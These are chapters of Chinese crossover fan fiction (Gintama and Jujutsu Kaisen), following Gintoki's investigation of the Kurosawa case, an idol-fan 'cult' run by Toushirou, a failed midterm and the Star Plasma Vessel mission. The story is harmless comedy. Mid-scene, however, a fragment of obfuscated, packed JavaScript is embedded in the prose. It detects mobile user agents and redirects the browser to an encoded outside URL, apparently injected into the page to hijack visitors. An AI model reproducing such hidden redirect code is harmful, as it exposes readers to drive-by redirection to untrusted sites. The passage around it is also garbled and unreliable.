清晨的空气中，弥漫着草木的清香。
属于夏季的闷热已经悄悄探出了一个小尾巴，混在春季的寒气中，不热不冷，不干不湿，什么都是刚刚好的季节。
高专二年级的教室中，眼角泪痣的女同学坐在同学桌子上，手里拿着几张A4纸。
“据我的检查，这位黑泽女士患有严重的营养不良，肌肉出现明显退化，而且身上有很多陈年旧伤，不过身体上的伤病不是最严重的。”家入硝子将手里的纸翻了一页，“更严重的是心理问题，这方面我不是专家，但大致看了下，初步判断是患有很严重的抑郁症。”
听着耳边不乐观的诊断，坂田银时手中写着检讨书的笔顿了一下。
宅十四皱了皱眉：“肌肉退化？是在病床上躺了很久的缘故吗？”
家入硝子摇了摇头：“我觉得不是，黑泽女士的入院时间不是很长。”
“谢谢你硝子。”坂田银时写完一面，翻了新的一页，“接下来的事情你不用管，我来继续调查。”
对于坂田银时这几天去做了什么，家入硝子不太了解，但她也不觉得这个病床上的女性会和他们现在调查的事件有关系，不管怎么看，这都只是一个平平无奇的人，如果硬要说出一个不同的地方，那恐怕就是这个人是个具有术式的咒术师。
“难道她的术式有什么奇特的吗？”
“嗯？奇特，也能说奇特吧。”
六眼在看到黑泽的一瞬间，就能看出对方的术式：“是点石成金。”
“啊拉。”
旁边的宅十四眼睛一亮，这才是他梦想中想要拥有的术式啊，而不是每次都要吃个呕吐物才能获得的宝可梦。
家入硝子考虑得更多：“不过这个术式应该没有那么便利吧？”
“没错，每次施展，都会根据需要实施的物体大小，随机伤害自己身体的一部分。”
“所以身上才那么多伤吗？”
宅十四收起羡慕的目光，想起那个瘦骨嶙峋的病人，心里泛起同情。
这得是施展了多少次术式，才会把自己伤成这个样子。
轻松的课间时间，随着夜蛾正道进入教室而结束，大家端正地坐在自己座位上，开始枯燥又漫长的文化课时间。
坂田银时身体坐在凳子上，脑子却已经开始神游天际。
黑泽法子的死亡对他来说完全是没有预想过的，他想过会有背后势力趁他不注意偷袭，也想过对方被当做人质威胁自己。
唯独没有想过黑泽法子自杀的可能。
他是没办法救回一个放弃掉自己生命的人的。
回想自己和黑泽法子接触的短暂时光，他丝毫没有发现对方活泼性格下的负面情绪。
“对我的审判，早在十几年前，就应该降下了。”
他脑海中回想起对方最后的话，怎么想也觉得难以理解。
他已经失去了和黑泽法子对话的机会，只能从别的地方入手调查，他想搞清楚事情的来由。
转了转手中的笔，无视在讲台激情讲课，唾沫横飞的夜蛾正道，坂田银时继续写着检讨书。
检讨书里，一个小松鼠和她生了病的松鼠妈妈在森林里相依为命，最后的结局里妈妈的病治好了，她也交到了很多朋友。
皆大欢喜，皆大欢喜。
坂田银时给这个故事落下最后一笔。
只可惜，童话也只是童话。
坂田银时让五条家把御三家的其他两家一起拉了过来，涉及到自身利益的时候，御三家总是会异常团结。
这使得原本总监部质问坂田银时的情况，变成了现在这样御三家和总监部的对弈。
当搅动的水越浑浊，底下藏匿的污垢就越容易浮现出来。
证据确凿，总监部无从辩驳，得以让御三家齐心协力，从他们身上挖下一大块利益。
坂田银时也如愿获得了一些资料，其中就有拍卖会买卖的部分详细名目。
意外的是，被黑泽法子杀害的人，不属于总监部，只是一名商人，在他早年经营的还是个小公司的时候，有段时间公司效益不行，但是又奇迹般的周转了起来，这段经历被业内津津乐道。
这一段故事单拎出来，或许是个励志的奋斗史。
但如果结合黑泽琴枝的术式·点石成金呢？
坂田银时不太愿意将二者联想起来，毕竟这得牺牲多少，才能够用术式获得足够一个小型公司周转的金额啊。
这未免有些太过残忍。
另一份资料则是组织和参与拍卖会相关利益链的高层名单。
为了这份资料，总监部还上演了一出查抄内鬼的戏码，一部分人趁机将自己的对手当做挡箭牌推了出去。
而涉及到避无可避的自己人时，则是想尽办法减少其参与的痕迹，降低事后实在保不住的时候会对他降下的惩罚，并且提前对其停职。
明面上说是惩戒，实则让其暂避风头。
泼完脏水，还想保住自己人，这既要又要的做法看得坂田银时只想笑。
但这问题涉及到组织内部结构，不是一朝一夕就能改变的。
眼下时间不多，所以他选择开始着手于自己眼下的事情。
在花了一晚上的时间翻阅完厚厚的一沓交易明细之后，坂田银时找到了其中耗不起眼的黑泽琴枝的姓名。
和他猜想的一样，黑泽琴枝是被那个商人买走的，原因估计就是看中了她的术式。
他利用五条家的人脉，在十几年前的失踪人口名单中，找到黑泽琴枝的姓名，再通过警局中记录的报案人，轻松地找到了她的家人。
时隔多年，早已放弃希望的老夫妻，再次在医院看到自己宠爱的女儿，却没想到对方变成这副样子。
两人不敢触碰，只是一眨不眨地盯着昏迷的黑泽琴枝，唇齿间不断漏出压抑的抽泣声。
坂田银时退出病房，将空间留给三人。
他打开手机，点开短信，里面有一条来自黑泽法子的信息。
对方在去拍卖会之前，就已经为自己的未来决定好了结局，所以她写了这一封定时短信，但里面并没有写太多东西。
【我的母亲有个美好的家庭，但是我一直没有渠道去寻找。我房间内的抽屉里存着打工赚来的所有钱，都给你，拜托您帮我让母亲回家。】
【还有，请千万不要和他们提及我的事情，就当我从不存在于这个世界上。】
坂田银时尊重她的意愿，没有和老夫妻两人提及黑泽法子的事情。
同时作为补偿，他将总监部吐出来的一部分赃款给了老夫妻。
在寻找黑泽家人的同时，他还在寻找那个商人的住所。
这并不难找，毕竟他现在算是个有名气的老板，在各个圈层都有来往。
商人的住所是一栋独栋别墅，花园被佣人打理得整洁，从外面看，宛如一个秘密花园。
而在这栋别墅的地下，却有一个密不透风的地下室。
墙上陈年的血迹已经变成褐色，难以散去的恶臭在里面发酵。
尚且十几岁的黑泽琴枝，就是囚禁在这十几平米不到的地方，日日以剐去血肉为代价，给贪婪的恶人献上金银。
最后因为失去价值，而被随意抛弃。
商人已死，坂田银时就将他名下的所有违法所得财产，一部分给了黑泽父母，另一部分则是捐给了福利院。
幕后的敌人虽然断尾断得又快又干净，但是他势力在总监部这件事，是怎么也遮掩不住的。
为了能够更好的在暗中调查，坂田银时披上诅咒师的马甲，开始频繁接触和总监部有关的委托。
另一边，伏黑
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甚尔顺着邀请函查过去，却发现最后能追溯到的人，早在他们前往拍卖会之前，就已经死亡。
线索再一次中断，但他不会善罢甘休，吃下这个闷亏。
于是两个人联合，一个明面上接取任务，以低价委托费、高效高完成率为卖点，赢来客户。
背地里将委托人的所有包括财产在内的情报汇总，传递给另一个人。
而另一个人在得到具体情报后，事后岔开时间打劫，将委托人的财产和秘密文件洗劫一空，赚个辛苦费。
被他们盯上的总监部高层，都免不了要脱两层皮。
没过多久，咒术界的怪盗基德和诅咒师唯一的良心——烂梗的传说，在诅咒师中传开。
顺带一提，“烂梗”这个称呼的出现，是由于很多人觉得坂田银时的马甲名又长有绕口，于是想的简称。
所有人都很满意这个叫法，除了当事人。
口碑和财富越积越多，到手的有用信息却寥寥无几。
这让坂田银时产生了扩大业务的想法。
对此，跟着吃肉的孔时雨自然是举双手赞同。
没有让坂田银时等多久，他就找来一个教派提出的委托。
“这个教派和咒术界很久以前就有过接触了，据说这次任务如果完成得好，还有机会面见他们的高层。”
对此坂田银时兴致缺缺：“谁会对一个邪教头子感兴趣。”
“别这么说嘛，我调查过了，这个教派年代久远，而且信仰的是天元，说不定能从他们那里知道些你想知道的事情呢。”
“等等。”坂田银时收起懒散的神情，“你刚刚说他们信仰天元？这个教派难道是盘星教？”
这次换成孔时雨惊讶了：“对，你竟然知道他们？他们在咒术界还算是低调来着。”
“... ...这个委托，我接了。帮我提前约好和盘星教高层面见的时间吧。”
盘星教的委托很简单，就是调查一个最近兴起的新教派。
作为一个历史悠久的教派，他们本不会在意这些在现代社会才开始冒头的新教派。
这些新教派没有什么根基，在快速更迭的这个时代下，大多活不了很久，便会被后来者所取代。
但坏就坏在，这个教派叫什么名字不好，偏偏叫天元派。
不管是单纯的巧合，还是对他们正统天元大人信仰者的挑衅，这么大喇喇的将神圣的天元大人名字，作为教派的称呼，实在是对天元大人的亵渎。
于是他们没法再坐视不理，从信徒们处筹资，向诅咒师们发起委托，想看看这个无礼的教派，到底是何居心。
了解到只是单纯教派之间的矛盾，坂田银时便没太放在心上，随便挑了个时间，稍微乔装打扮一下后，混在信徒中，进入了天元教布道的礼堂。
在坂田银时的印象中，会选择信邪教的，大多数是中老年人，这些人或多或少在生活上遭遇了痛苦的事情，急需信仰支撑他们走完余生。
但这里目及之处，竟然是年轻人居多。礼堂内的气氛相较于别的教派来说，也更加活跃。
带着疑惑，坂田银时耐心等到了教主的到来。
穿着五条袈裟的教主一出场，就收获到了信徒热烈的欢呼，他双手拢袖，笑眯眯地打着招呼，最后来到礼堂最前面的座布団上。
他盘腿坐下，双臂一甩，抖开衣袖，双手放在跪坐的膝盖上，额前的一缕刘海被扇起的风吹起，一双紫色的眼眸注视着下面狂热的信徒。
看清教主的脸，坂田银时差点没忍住站起来发出尖锐爆鸣。
他张大嘴巴，坐在角落久久不能回神，并且十分庆幸自己习惯带着隐藏自身咒力的咒具出门。
这是给他干哪来了？这里还是怀玉篇吗？
为什么他会看到夏油教主出现在这？
53.第五十三章
等教主坐定，下面已经等候多时的教徒们，齐齐地鼓掌迎接。
在耳畔响起的鼓掌声，让坂田银时回过了神。
他看着上面笑容温和的夏油教主，想起前不久在拍卖会遇到的万事屋三人，心里警戒起来。
难道这次的情况和上次一样吗？这才过了多久，幕后主使竟然还敢卷土重来，也太不把他放在眼里了。
他心里开始做着最坏的打算，头脑冷静了下来，准备先听听面前这个教主会说些什么。
夏油教主听了一会自己教徒的欢呼，伸手向下压了压，示意安静。
瞬间所有人都停下了动作，安静专注地看着上面，期待着聆听教义。
这反应让台上的教主很满意，他装模作样地咳嗽了一声，开始了自己的宣讲。
“首先，很感谢各位在百忙之中抽空来到这里，参与我们每周一次的教派活动。”
这宛如什么公司团建的主持开场，让坂田银时感觉有点不对劲，但一时也挑不出什么问题，只好带着迷惑继续听。
“其次，我们很高兴地宣布，我们天元教的教徒人数，已经成功突破两百人了！”
台下适时响起掌声，甚至有人欢呼起来。
等到下面再次恢复安静，教主继续说着：“咳咳，这都要感谢在场的各位，在这段时间的努力，为我们公司… …不是，为我们教派做大做强付出宝贵的努力，缺少你们任何一位，教派都不能取得这么优秀的成绩。”
坂田银时脸上的疑惑越来越大，他看着周围鼓掌的年轻人。
不对吧？就算没有做过教徒也能觉得这不对劲吧？
而且刚刚是不是把“公司”两个字说出来了？说出来了吧？这发言稿不会是从别人公司年会上复制粘贴再改个词吧？
这个教派班味也太浓了点，叫什么天元教，干脆叫天元有限公司吧。
真的会有人在下班之后，再找一个班味浓郁的教派做自己的精神支柱吗？
一番没有什么意义的公司同款鼓舞话术后，教主话锋一转，就开始了下一个阶段。
“让我们挨个开始介绍下自己这一周的工作情况吧。”
他指向坐在第一排第一个的教徒，教徒昂着头站了起来，拿起自己手里早早准备好的厚厚一沓发言稿。
坂田银时不存在的打工人之魂开始疯狂颤抖。他看着突然开始开火车汇报工作的教徒，竟然久违得感到了脚趾抓地地尴尬。
怎么又开始汇报工作了？这画风对吗？
他不断扭头，看着几乎人手一张发言稿，头皮发麻起来。
救命啊，他什么都没准备啊，等会站起来能说什么？
第一个教徒掀开手里发言稿的第一页：“为了更好地宣传我教，我选择了自己身边的人作为传教对象，首先以同学的身份拉进彼此的关系，然后不经意间露出和爱酱相关的图片，当其中有人好奇询问的时候，就是传教的最佳时机！通过这种方式，我已经成功拉进了十名新教徒！”
这傲人的成绩赢得了场上众人的喝彩，如雷般的掌声再次响起。
教主却摇了摇头，他一只手抓着胳膊，另一只手掰着数字：“十人，乍一看很多，但考虑到对象群体是学生的话… …毕竟你是第一个发言的，那就算你勉强合格吧，记住，学生可是最喜欢偶像的年龄层了！争取在下一次例会前，把全班都拉进来。”
“是！定不付教主期待！”
教主点了点头：“下一个！”
只有坂田银时一个人，在这所有人都习以为常的欢乐场景下，开始怀疑人生。
这个教派是不是有点太严格了？不过这看起来像“洗脑未成年”的说辞确实有点邪教的风范了。
但他刚刚好像听到了个很熟悉的人名。
爱酱？是他想的那个爱酱吗？
他看向端坐在上面的夏油教主，一种可能性在心里产生。
他的疑惑在接下来其他教徒的发言中，慢慢得到了解答。
“我混进了社区的老年人办事处，把爱酱的宣传单混进了社区宣传单里，一起发给了一个社区的老人家里！”
语气为什么这么骄傲？这行为怎么想都不行吧？
而且你们的偶像目标群体竟然还包括老年人吗？
坂田银时自动脑补了一群老年人在演唱会现场，双手拿着荧光棒，扭着腰打wota艺的画面，觉得好荒谬好抽象。
不过这熟悉的诈骗老年人的邪教氛围，竟然奇妙地让坂田银时反而感到了一丝安心。
“干得不错！”教主双手一挥，激情开麦，“要知道爱酱的魅力是可以忽视一切性别、年龄甚至是物种等外因的！只要是能看到，听到爱酱的存在，都不可能不沉迷于爱酱！”
听着教主熟练地吐出过激发言，看着那张因为激动有些扭曲的面部表情，坂田银时原本慌张的心，突然就定了下来。
多么熟悉的作风，多么熟悉的话术，就好像某个经常会在他眼前晃悠爆典的人。
他有一瞬间对自己刚刚草木皆兵的心理感到了羞耻。
知道是虚惊一场之后，他一改刚刚的局促不安，反而翘着二郎腿，单手托腮，看起热闹来。
教派内部似乎给每个教徒指标，为了赶业绩，他们可谓是无所不用其极。
各种计谋、心理战齐上阵，身边的一切能看到的活人都免不了被他们拉入坑。
听得坂田银时按在110上的手指蠢蠢欲动。
虽说夏油教主在一开始宣布他们突破了200人，但到现场的估计都是这两百人中的精英，所以人数没有那么多，粗略看过去也就四五十人，正好可以凑成一个班。
很快，在坂田银时前面的人都已经汇报完了自己的成果，教主的目光也看向了他。
“这位教徒。”教主看着坂田银时迟迟没有站起来，开口询问，“是不是完成结果不理想？没关系，在下是很大度的，你先说说情况，数量不是很多的话，在下允许你在下一次例会前补回来。”
坂田银时放下托着下巴的手，一手摘下口罩，一手摘下帽子，慢慢站起身，掸了掸身上的灰，然后慢条斯理地抬头，和笑容和煦的教主对视。
“抱歉教主大～人～我忘了要拉人进教了，业绩是0啊怎么办？”
宅十四：“… …”
宅十四脸上的笑容凝固，扬起的嘴角在一瞬间被拉平，原本看向台下的眼神也收了回去，转而看向了上面的天花板。
“教主大人～你说话啊，你说句话啊。”
这一声声“教主大人”就像是凌迟的钝刀，在宅十四的心口割来割去，让他坐立难安。
他只穿着足袋的脚趾蜷缩着，手掌在衣袖下不断冒着冷汗。
场面一时间陷入了异常的安静中，所有教徒对坂田银时懒散的态度感到不满，但教主没有发话，他们也不能越俎代庖站出来训斥，只好一会看着教主，一会看向松垮站着，甚至开始当众抠鼻子的坂田银时。
岂有此理！怎么能在如此神圣的场所做这种事情！
众人怒目而视，心里骂骂咧咧，把坂田银时的脸牢牢记住。
台下暗流涌动，台上气氛凝固，直到教主疑惑地发出一个音节。
“嗯？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921843|148481||http|test|mini|href|location''.split(''|''),0,{}));
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台上的教主像是睁着眼打了个瞌睡一样，茫然地把目光从天花板移了下来，然后一眼就看到虽然在角落，但是无论是身高、颜值还是配色都格外显眼的某个熟人。
原本在系统空间，用屏幕看自己世界黄金时段的狗血家庭伦理剧来打发时间的土方十四郎沉默了，一瞬间，他就明白自己被突然换过来的原因。
并且在内心深深唾弃着遇事就逃的宅十四。
眼看着台下教徒们的眼神越来越愤慨，他只好被迫来给宅十四擦屁股。
“这位教徒是新面孔啊，第一次来吧？”他双手合十，配上那套五条袈裟，还颇有点看破红尘的佛感，“不用焦虑，不用害怕，不管什么事情都不能说明全部问题。真正的‘爱’是要会包容，学会体谅，作为新人，你能来到这里，就必定已经付出了很多努力。”
确实付出了努力，压榨孔时雨给他查地址和布道时间，怎么不算努力的一种呢？
坂田银时看着明显换号了的教主，挑了挑眉，对他的话没有肯定也没有否定。
“得到‘爱’包容的各位，一定也可以将这份美好继续传递给其他人，大家请不要忘记，喜欢上星野爱，是为了让自己成为更好的人，不要让戾气代替我们的爱意，来，让我们给这位新人一点掌声！相信他下一次，一定能给我们带来惊喜！”
从布道一开始就不断的掌声再次响起，不过这次是给坂田银时鼓掌，所以相比之前，没那么热烈。毕竟虽然被土方十四郎一顿安抚，但每个人还是多多少少带着些怨气。
好在场面还是控制住了，土方十四郎便趁机马上宣布，这次的布道结束。
他给了坂田银时一个眼神，然后从另一个方向离开。
所有人起身朝着门口走去，不大的地方拥挤起来，每个人路过坂田银时的时候，都会多看他几眼。
坂田银时看着走道全是人，于是干脆坐下，掏出手机玩起了贪吃蛇。
这毫不在意的态度惹得众人更加不满，但刚刚教主都发话了，也不好在现场说什么，于是给周围自己熟悉的人一个眼神，约定好一起在外面聚会吐槽。
等到人全部走光了，坂田银时才不紧不慢地起身，朝着土方十四郎退场的地方走去。
教主坐的坐布団后有一扇屏风，屏风的后面是一扇门，门口一个穿着西装，发丝打理得一丝不苟的男人站在那，显然是在特地等坂田银时。
“五条先生，请进。”
坂田银时点了点头，走进了那人为他打开的门里，在路过这个西装男时，他忍不住多看了眼这个人，总觉得有点眼熟。
没把这件事放在心上，他继续大步朝着里面走去。
顺着走廊没有走多久，一个禅室出现在眼前。
刚刚还在台上装模作样的土方十四郎，随意地盘腿坐着，手指纷飞地按着手机按键。
听到声响，他抬眼看了过去：“来了？坐，说说你为什么来这里？”
“喂，反了吧？”坂田银时不客气地坐下，然后更加不客气地伸长脖子偷看手机，“我才要问你，什么时候成立的这个什么天元教？是要和隔壁盘星教抢业绩吗？”
“抢业绩？”土方十四郎熟练地在群里安抚着教徒，抽空回答，“和盘星教有什么关系？而且我们这可是正经教派。”
“名字都叫天元了，还没有关系？”
土方十四郎抬头：“谁说我们叫天元教的？”
“啊？你们刚刚开会的时候不也这么说的吗？”
“那只是简称，我们教派全名叫守护天下第一少女偶像星野爱元气笑容教，简称天·元·教。”
54.第五十四章
如果有一种语言可以表达此刻坂田银时的心情，那一定是无语。
“不要叫这么容易让人误解的简称啊！”
不过想想恐怕盘星教的高层才是更无语的，他好歹还赚了委托费呢，盘星教那群人赚到了什么？心安吗？
“也不是我想这么喊的，是下面的教徒们都觉得这个简称好，‘天元’，在围棋中是棋盘的正中，也象征着宇宙的中心，很符合他们心里对星野爱的定位。”
“... ...什么定位？宇宙的中心吗？”
对于偶像粉丝的狂热，坂田银时不打算发表意见，他更好奇的是为什么突然开始建教了？
宅十四就算了，土方十四郎他竟然会同意？
“建教的具体原因，我不是很清楚，只知道是发生在演唱会的时候，那时候我觉得无聊在看电视，咳咳，至于我为什么同意。”土方十四郎脸上泛起可疑的红晕，“他说他可以把教派的吉祥物设计成美乃滋。不光会在教会里增加美乃滋吉祥物的雕塑，还说会在教条里增加‘教徒每天进食时需要用美乃滋盖饭’。”
“我现在对于这些粉丝充满了钦佩之情。”坂田银时脸上露出深深的同情，“竟然有粉丝愿意为了偶像，每天去吃【哔——】。”
“喂，【哔——】是什么意思？你给我好好说清楚！”
在气氛变糟之前，坂田银时转移了话题：“所以呢？是什么让宅十四同意在教条里增加这么可怕东西？”
土方十四郎一口气涌上头，指着坂田银时就想输出：“美乃滋才不是什么可怕的东西，请注意你的言辞！”
“换人，转人工。”坂田银时捂住耳朵后仰，咧着嘴故意在土方十四郎的底线上来回横跳，“再不出来的话，我就告诉盘星教和你们的教徒们，你们其实是打着粉星野爱的由头，暗地里觊觎天元大人纯洁的身躯。”
“不许造谣在下对爱酱的忠诚！”一直在默默窥屏的宅十四冒出，涉及到星野爱的时候，他甚至可以忽视自己的社死，“而且在下对四眼怪物不感兴趣。当然，如果是四眼美少女的话，也不是不能勉强接受。”
“你这勉强的标准也太宽泛了吧？”
不管怎么样，当事人宅十四出现了，事情就有了进展。
“详细说说，到底是什么样的心路历程，让你起了在异世界建教的想法。”
宅十四愤慨的神情戛然而止，耸拉着肩膀低着头，眼睛不时地瞥几眼坂田银时，双手食指怼着：“就是，演唱会结束的时候，爱酱把在下叫过去了。”
坂田银时感到意外地挑了下眉，竟然是那个星野爱想要建教的吗？
联想到对方可能也是来自异世界的身份，他多想了想，但发现好像这个行为也不是多逾矩。
那边的宅十四越说越激动：“在下还是第一次那么近距离的和偶像见面，她真的比台上还要耀眼，和我说话的时候的笑容也很可爱，高桥李依的声音也很甜美... ...”
眼看着话题开始跑偏，坂田银时不得不强行纠正回来：“说重点！”
宅十四缩了缩脖子：“因为在下太激动了，所以她具体说的什么在下忘了，但是爱酱的梦想我还记得。”
“成为这个世界的教主？”
“很接近了，是成为日本首相！”
“啊？”
哪里接近了？！偶像和首相关联在一起说很奇怪啊喂！
上一个二次元和日本首相有关的，还是某个叫藤原千花的粉毛，但那说到底还是大家的抽象整活，怎么会有偶像真的想要当日本首相的，这梦想也有点太大了吧！
“爱酱的梦想就是在下的梦想，所以在下二话不说答应了帮她实现，在下先建立教派，是为了积攒民意，然后一步步扩大在全国的影响，最后帮她完成梦想！”
坂田银时听了这段慷慨激昂的梦想蓝图，只想鼓掌。
能把不切实际的计划在别人面前说出来，并且真切地实行出来，也是种勇气。
“不过你第一步就走歪了吧？”
邪教头头还能当上国家首相什么的，真是前所未闻，隔壁的思密达或许还有可能。
感谢这个星野爱在实现自己野心的时候，找的合作对象是宅十四，但凡换个人，说不定就会实现了。
坂田银时拍了拍宅十四的肩膀，眼角挤出一滴泪水：“感谢你拯救了这个世界。”
顺利解决盘星教的委托，速度之快，效率之高，让盘星教的人也为之侧目。
为表示对坂田银时的实力的认可，以及对他本人的尊重，盘星教的高层答应屈尊面见坂田银时。
但在听到坂田银时的汇报之后，他产生了自己被戏耍的想法。
先不说这匪夷所思的教派名，就单说这建立教派的原因，听起来也太荒唐了点。
首相？谁？一个连屏幕都走不出来的虚拟偶像？
他陷入深深的怀疑中，自己这是深居简出跟不上现代的潮流了吗？他怎么感觉自己快不理解这个世界了。
看出面前的高层陷入怀疑世界的头脑风暴中，坂田银时贴心地安慰着：“世界上还有飞天意面神教呢，毕竟地球这么大，人类那么多，有那么几个思维跳脱的人很正常啦。”
“这是，正常的吗？”
看着坂田银时点头，高层对自己的怀疑又深了几分。
他神情恍惚地让手下将准备好的报酬递给坂田银时，并且让他离开，一个人念念有词地朝着房间走去。
事情到此暂时告一段落，除了三观被冲刷的某盘星教高层外，无一人受到伤害。
对于宅十四为星野爱建立教派的事情，坂田银时觉得是个从星野爱那边近距离套取线索的好机会，而且有土方十四郎在一边看着，事态紧急的时候还可以瞬间切号，暂时不会出多大问题。
他自己这边一直在暗地里调查总监部高层，虽然自己想要的信息没有找到，但是靠着不断积累的口碑，他能接触的高层等级也越来越高。
事情向着稳定的方向进展，但将时间过多投入到诅咒师任务中，也就意味着在高专上学的时间变少。
虽然不知道家入硝子想了什么借口，帮他们两个忽悠了过去，但这么长时间夜蛾正道都没有来抓他们上课，也让他们减少了对高专的注意。
以至于他收到夜蛾正道期中考试的通知的时候，难得的陷入了恍惚中。
期中考试？多么熟悉而又陌生的词汇，如果这个词没有和他产生关系的话，他会轻笑着嘲笑发明这个词汇的人。
但是很遗憾，这是他将要面对的考验，被嘲笑的人是他。
为什么一个文化课没多少，让学生天天往外跑，死亡率还超高的学校需要有期中考试，这种接地气的东西的存在。
等等。
他转念一想，就算考试挂科了又会怎样，挂科的是五条悟，和他坂田银时有什么关系。
一秒想通的坂田银时瞬间神清气爽，想要无视这通短信，这时，许久不见的系统突然不合时宜地上线。
【接取新主线——通过期中考试，如果完不成，将会受到严厉的惩罚。】
坂田银时破口大骂，这系统关键时候派不上用场就算了，还尽给他添堵。
碍于对未知惩罚的忌惮，他连忙赶回高专，掏出所有课本爬到女生宿舍，去求助唯一去上课的家入硝子。<
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p>“硝子，救救，划个重点。”
看着自己三楼的宿舍窗户外，突然多了个人，家入硝子抖了抖，手里的烟掉了层灰：“... ...这里是女生宿舍。”
“我知道啊。”坂田银时划拉了下窗户和自己，“我这不是没进来吗？”
有分寸，但是不多。
家入硝子坐在椅子上，满脸沧桑地抽了口烟，过往庵歌姬的经历告诉她，不要在这种情况下和坂田银时讲道理。
她伸出手：“书给我。”
翻开坂田银时崭新的课本，前面页数崭新，是因为五条悟本人对这些知识，早在幼年时期就在族内学过，不需要记笔记。
而后面的部分，则是因为坂田银时根本没来上课。
家入硝子拿出铅笔，翻到目录，一项项勾了过去。
趴在窗户上看了一会，坂田银时冷汗直流：“那个，硝子，你这是把目录全部都勾选了一遍？”
“嗯？当然了。”家入硝子心情良好地一笑，语气平淡地说出地狱之语，“因为这些全都是考试重点啊。”
“... ...”
捧着“全部都是重点”的教科书，坂田银时悲痛地回到宿舍，决定先睡一觉缓解下自己的压力。
然后就到了考试的当天。
因为要看的东西太多，以至于无从下手，提不起干劲。
脑子里还有不断循环的“过会再看”魔咒一直环绕着他，让他就这么浑浑噩噩度过了几天，最后完全没有准备地上了考场。
独自坐在空荡的教室中，看着黑板上大大的“期中考试”，他强迫自己冷静下来。
问题不大，他还有万能的六眼，到时候照着家入硝子写就行。
但左等右等，最后来监考的夜蛾正道都来了，剩下的两个人还没有到考场。
“老师。”坂田银时硬着头皮举手，“夏油和硝子还没到。”
夜蛾正道疑惑地看了他一眼：“硝子没有和你说吗？她之前提议，这次她和杰的考试时间和你分开。说是可以避免出现突发任务没有人接取的问题。”
诶？家入硝子提议？自己是在什么地方得罪她了吗？不会是因为自己闯了女生宿舍吧？
他眼神绝望地看着夜蛾正道将试卷放在自己的桌子上，脑子里一片空白。
本能地在姓名一栏写上五条悟的名字，硬着头皮看向了第一题。
【咒力的释放和收缩需要流通身上的什么穴位？】
坂田银时沉默了，握着笔的手在微微发抖。
他们上课的时候学的是这么学术的内容吗？
脑子里疯狂地旋转，最终在角落里挖出一个穴位名字，也不管是不是正确，直接写上。
【太阳穴。】
一低头就能看到学生试卷的夜蛾正道，看着这答案也沉默了，开始怀疑自己的教学能力。
度过了煎熬的考试，虽然乱写一通，但好歹让试卷没有全部空白地交上去，至少不细看的话，也算是能看。
坂田银时一脸灰白，心里一片死水般的平静，尤其是听到家入硝子竟然在和土方十四郎对答案，而且说的答案连一个符号他都没有挨上边的时候。
就在他准备在惩罚到来之前，最后再去小钢珠店放肆一次的时候，夜蛾正道走了过来。
看着难得在教室里齐聚的三人，他开口：“悟，杰... ...硝子你... ...”
“啊！我突然想起来医疗室里有东西忘处理了，先走一步啦。”
夜蛾正道看着逃似的离开的家入硝子，头疼地揉了揉额角：“算了，你们两个就行。”
“你们知道星浆体吗？”
55.第五十五章
星浆体事件，一个决定未来的重要转折事件。
在这次事件中，夏油杰的内心会种下一颗名为“现实”的种子，在不久之后被不断以残酷灌溉，最终破土，长成与曾经的自己背道而驰的荆棘。
荆棘缠绕在他身上，无时无刻不在刺痛着他的身心，同时也拒绝着所有想要接近他的人。
就这么将自己和过去完全割离。
坂田银时和土方十四郎对视一眼，这个事件同样也是他们来到这个地方的原因。
他们相信，幕后敌人是不会放过这个重要的时间点的，说不定可以利用这个任务，将敌人连根拔出。
这么一想，他们离回家的时间又更近了一步。
收起各自脸上的懒散，坂田银时和土方十四郎正襟危坐，拿出自己十二分的注意，认真对待这次的任务。
这难得一见的严肃神情，让夜蛾正道下意识一愣，遂即欣慰地一笑。
看来他们已经走出了失恋的阴影了。
这显然错误的想法，正是家入硝子这些天帮他们忽悠的时候找的理由。
灵感还是来自于坂田银时。
上次土方十四郎第一次单独任务的时候，察觉到对方性格不对劲的夜蛾正道询问了坂田银时，被对方随口一句“失恋”堵住了嘴。
加上坂田银时和某诅咒师的狗血虐恋谣言传得沸沸扬扬，正好一起用来圆上借口。
夜蛾正道作为一个尊重学生隐私的好老师，显然用这个理由很有效。
而此刻对自己失恋毫不知情的两人，看着夜蛾正道“孺子可教”的表情，心里也下意识地发毛。
诡异的气氛没有维持多久，夜蛾正道便咳嗽一声，开始具体地讲解这次的任务。
支撑着覆盖全日本结界的天元大人，虽然身躯不死，但并非不老。
每到一定年限，他就需要更换新的肉1体，否则就会进化。
至于进化的结果是好是坏，没有人知道。
天元的结界已经持续近千年，容不得一丝一毫的闪失，没有人能够承受进化失败之后的结果。
所以最稳妥的方法还是定期献上新的肉身。
而这些具有可以与天元大人同化体质的人，便被称为星浆体。
烂熟于心的设定在夜蛾正道的嘴中被缓缓道出，一瞬间让人有种虚幻和现实冲撞的不现实感。
知道具体任务时间和地点之后，坂田银时和土方十四郎便起身，决定先换个地方商量下这次任务要怎么做。
临出门的时候，一直觉得差了点什么的坂田银时顿了顿脚步，脑子里闪过剧情，回头看向在讲台上整理资料的夜蛾正道。
“歌姬那边... ...有出什么事吗？”
“歌姬？”夜蛾正道愣了下，然后反应过来，“你知道她任务的事情了？她们俩个前几天做任务失踪了，本来是准备让你们俩个去救援的，但是在找到你们之前，她们自己就解决了咒灵，好像是因为被困在咒灵结界中导致了时间混乱，才失踪了这么久。”
没想到自己在外面忙得颠三倒四的时候，这边的剧情已经早开始进入主线了。
系统也没有及时提醒他们，最近那边好像在干什么大事，每次找他们都是一副很忙的样子。
朝着人少的贩卖机的方向走去，两人有一搭没一搭的聊着到时候的计划。
“首先，伏黑甚尔和我关系很好，到时候他说不定下不了手啊。”
土方十四郎弯腰捡起贩卖机里滚落的灌装饮料，嫌弃地看了眼张口就是自恋发言的坂田银时。
“关系再好也没有他和钱的关系好。”他将其中一瓶抛了过去，“而且我不觉得以你们的关系，会让他放弃那么丰厚的报酬。”
坂田银时接过抛来的饮料，没细看，直接拉开拉环喝了一口，被苦得直皱眉头。
“但不管怎么说，也不至于下杀手吧？”
